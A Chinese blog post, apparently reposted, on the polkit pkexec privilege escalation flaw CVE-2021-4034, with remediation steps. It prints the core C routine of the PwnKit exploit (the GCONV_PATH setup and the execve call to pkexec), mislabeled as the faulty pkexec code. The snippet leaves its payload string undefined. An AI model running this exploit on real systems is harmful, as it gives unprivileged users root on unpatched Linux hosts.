本文主要是介绍自我提升指南(一) 阿里云pkexec 中的本地提权漏洞 (CVE-2021-4034)，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
自我提升指南(一) 阿里云pkexec 中的本地权限提升漏洞 (CVE-2021-4034)
我一登进阿里云，就发现事情不太对文章目录
- 自我提升指南(一) 阿里云pkexec 中的本地权限提升漏洞 (CVE-2021-4034)
- 一、pkexec ？
- 二、漏洞危害
- 1.错误代码
- 2.修补漏洞
- 结果
- 总结
一、pkexec ？
polkit 的 pkexec 实用程序中存在一个本地权限提升漏洞。当前版本的 pkexec 无法正确处理调用参数计数，并最终尝试将环境变量作为命令执行。攻击者可以通过控制环境变量来利用这一点，从而诱导 pkexec 执行任意代码。利用成功后，会导致本地特权升级，非特权用户获得管理员权限。二、漏洞危害
影响范围
自2009年以来的所有 Polkit 版本（存在于所有主流的 Linux 发行版中）。
1.错误代码
int main(int argc, char *argv[]) {FILE *fp;system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");fp = fopen("pwnkit/pwnkit.c", "w");fprintf(fp, "%s", shell);fclose(fp);system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}2.修补漏洞
- 更新到最新的polkit版本
centos：yum -y install polkit
ubuntu：apt-get install policykit-1
- 将pkexec的suid权限取消
chmod 0755 /usr/bin/pkexec
结果
需要将 rwsr 权限置为 rwxr 权限
总结
Polkit本地权限提升漏洞（CVE-2021-4034）的漏洞出现的比较突然，没办法预料，那么就需要我们时常关注业内新闻，经常管理查看自己的服务器，以防止他人恶意的攻击或其他方式影响服务器与网站的正常工作。
希望这个博客能对你有所益处。我是轻王，我为自己代言。这篇关于自我提升指南(一) 阿里云pkexec 中的本地提权漏洞 (CVE-2021-4034)的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
